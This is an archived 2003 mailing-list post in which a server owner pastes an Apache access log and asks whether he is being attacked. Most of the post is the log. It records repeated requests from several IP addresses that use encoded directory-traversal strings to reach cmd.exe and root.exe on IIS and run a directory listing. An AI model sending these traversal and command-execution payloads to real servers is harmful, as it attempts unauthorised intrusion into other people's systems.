[matroska-general] Hacker attack to my server ??

Christian HJ Wiesner christian at matroska.org
Wed Jan 15 06:43:35 CET 2003


Please,

can anybody tell me whats going on here ? Since a few days the same 
access shema gets repeated again and again to my apache. Its obvious 
somebody is trying to open cmd.exe from outside in my system32 folder ? 
Or am i misinterpreting the apache log posted here ?

> 80.132.120.134 - - [15/Jan/2003:01:45:55 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288
> 80.132.120.134 - - [15/Jan/2003:01:45:55 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286
> 80.132.120.134 - - [15/Jan/2003:01:45:56 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 80.132.120.134 - - [15/Jan/2003:01:45:56 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 80.132.120.134 - - [15/Jan/2003:01:45:56 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 80.132.120.134 - - [15/Jan/2003:01:45:56 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 80.132.120.134 - - [15/Jan/2003:01:45:57 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 80.132.120.134 - - [15/Jan/2003:01:45:57 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 343
> 80.132.120.134 - - [15/Jan/2003:01:45:57 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 80.132.120.134 - - [15/Jan/2003:01:45:58 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 80.132.120.134 - - [15/Jan/2003:01:45:58 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 80.132.120.134 - - [15/Jan/2003:01:45:58 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 80.132.120.134 - - [15/Jan/2003:01:45:59 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 80.132.120.134 - - [15/Jan/2003:01:45:59 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 80.132.120.134 - - [15/Jan/2003:01:45:59 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 80.132.120.134 - - [15/Jan/2003:01:46:00 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:01:57:13 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288
> 217.229.133.114 - - [15/Jan/2003:01:57:16 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286
> 217.229.133.114 - - [15/Jan/2003:01:57:19 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.133.114 - - [15/Jan/2003:01:57:22 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.133.114 - - [15/Jan/2003:01:57:25 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:01:57:28 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.229.133.114 - - [15/Jan/2003:01:57:32 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.229.133.114 - - [15/Jan/2003:01:57:36 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 343
> 217.229.133.114 - - [15/Jan/2003:01:57:39 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:01:57:41 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:01:57:45 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:01:57:48 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:01:57:53 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 217.229.133.114 - - [15/Jan/2003:01:57:56 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 217.229.133.114 - - [15/Jan/2003:01:57:59 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:01:58:01 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.159.235 - - [15/Jan/2003:02:30:17 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288
> 217.229.159.235 - - [15/Jan/2003:02:30:20 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286
> 217.229.159.235 - - [15/Jan/2003:02:30:33 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.159.235 - - [15/Jan/2003:02:30:39 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.159.235 - - [15/Jan/2003:02:30:43 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.159.235 - - [15/Jan/2003:03:04:21 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288
> 217.229.159.235 - - [15/Jan/2003:03:04:25 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286
> 217.229.159.235 - - [15/Jan/2003:03:04:28 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.159.235 - - [15/Jan/2003:03:04:53 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.159.235 - - [15/Jan/2003:03:05:18 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.159.235 - - [15/Jan/2003:03:05:22 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.229.159.235 - - [15/Jan/2003:03:05:26 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.229.133.114 - - [15/Jan/2003:04:08:09 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288
> 217.229.133.114 - - [15/Jan/2003:04:08:10 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286
> 217.229.133.114 - - [15/Jan/2003:04:08:10 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.133.114 - - [15/Jan/2003:04:08:11 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.133.114 - - [15/Jan/2003:04:08:12 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:04:08:13 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.229.133.114 - - [15/Jan/2003:04:08:14 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.229.133.114 - - [15/Jan/2003:04:08:14 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 343
> 217.229.133.114 - - [15/Jan/2003:04:08:15 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:04:08:16 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:04:08:16 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:04:08:18 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:04:08:19 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 217.229.133.114 - - [15/Jan/2003:04:08:20 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 217.229.133.114 - - [15/Jan/2003:04:08:21 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:04:08:23 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:04:11:05 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288
> 217.229.133.114 - - [15/Jan/2003:04:11:07 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286
> 217.229.133.114 - - [15/Jan/2003:04:11:09 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.133.114 - - [15/Jan/2003:04:11:11 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.133.114 - - [15/Jan/2003:04:11:13 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:04:11:15 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.229.133.114 - - [15/Jan/2003:04:11:17 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.229.133.114 - - [15/Jan/2003:04:11:19 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 343
> 217.229.133.114 - - [15/Jan/2003:04:11:21 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:04:11:23 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:04:11:26 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:04:11:27 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:04:11:29 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 217.229.133.114 - - [15/Jan/2003:04:11:30 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 217.229.133.114 - - [15/Jan/2003:04:11:32 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:04:11:34 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:05:12:44 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288
> 217.229.133.114 - - [15/Jan/2003:05:12:46 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286
> 217.229.133.114 - - [15/Jan/2003:05:12:47 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.133.114 - - [15/Jan/2003:05:12:49 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.133.114 - - [15/Jan/2003:05:12:52 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:05:12:54 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.229.133.114 - - [15/Jan/2003:05:12:56 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.229.133.114 - - [15/Jan/2003:05:12:58 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 343
> 217.229.133.114 - - [15/Jan/2003:05:13:01 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:05:13:03 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:05:13:05 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:05:13:07 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:05:13:09 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 217.229.133.114 - - [15/Jan/2003:05:13:11 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 217.229.133.114 - - [15/Jan/2003:05:13:13 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:05:13:15 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:05:14:40 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288
> 217.229.133.114 - - [15/Jan/2003:05:14:42 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286
> 217.229.133.114 - - [15/Jan/2003:05:14:43 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.133.114 - - [15/Jan/2003:05:14:44 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.133.114 - - [15/Jan/2003:05:14:45 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:05:14:46 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.229.133.114 - - [15/Jan/2003:05:14:47 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.229.133.114 - - [15/Jan/2003:05:14:48 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 343
> 217.229.133.114 - - [15/Jan/2003:05:14:50 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:05:14:52 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:05:14:54 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:05:14:56 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:05:14:58 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 217.229.133.114 - - [15/Jan/2003:05:15:00 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 217.229.133.114 - - [15/Jan/2003:05:15:02 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:05:15:04 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.59.175.213 - - [15/Jan/2003:05:59:37 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288
> 217.59.175.213 - - [15/Jan/2003:05:59:39 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286
> 217.59.175.213 - - [15/Jan/2003:05:59:41 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.59.175.213 - - [15/Jan/2003:05:59:42 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.59.175.213 - - [15/Jan/2003:05:59:44 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.59.175.213 - - [15/Jan/2003:05:59:45 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.59.175.213 - - [15/Jan/2003:05:59:47 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.59.175.213 - - [15/Jan/2003:05:59:48 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 343
> 217.59.175.213 - - [15/Jan/2003:05:59:50 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.59.175.213 - - [15/Jan/2003:05:59:51 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.59.175.213 - - [15/Jan/2003:05:59:53 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.59.175.213 - - [15/Jan/2003:05:59:54 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.59.175.213 - - [15/Jan/2003:05:59:56 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 217.59.175.213 - - [15/Jan/2003:05:59:57 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 217.59.175.213 - - [15/Jan/2003:05:59:59 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.59.175.213 - - [15/Jan/2003:06:00:00 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:06:12:33 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288
> 217.229.133.114 - - [15/Jan/2003:06:12:35 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286
> 217.229.133.114 - - [15/Jan/2003:06:12:38 +0100] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.133.114 - - [15/Jan/2003:06:12:40 +0100] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 296
> 217.229.133.114 - - [15/Jan/2003:06:12:42 +0100] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:06:12:45 +0100] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.229.133.114 - - [15/Jan/2003:06:12:47 +0100] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 327
> 217.229.133.114 - - [15/Jan/2003:06:12:49 +0100] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 343
> 217.229.133.114 - - [15/Jan/2003:06:12:52 +0100] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:06:12:54 +0100] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:06:12:57 +0100] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:06:12:59 +0100] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 309
> 217.229.133.114 - - [15/Jan/2003:06:13:01 +0100] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 217.229.133.114 - - [15/Jan/2003:06:13:04 +0100] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 293
> 217.229.133.114 - - [15/Jan/2003:06:13:06 +0100] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.133.114 - - [15/Jan/2003:06:13:09 +0100] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 310
> 217.229.159.235 - - [15/Jan/2003:06:24:00 +0100] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 288
> 217.229.159.235 - - [15/Jan/2003:06:24:06 +0100] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 286


Please, somebody with a better understanding of things than me help !

Christian






More information about the Matroska-general mailing list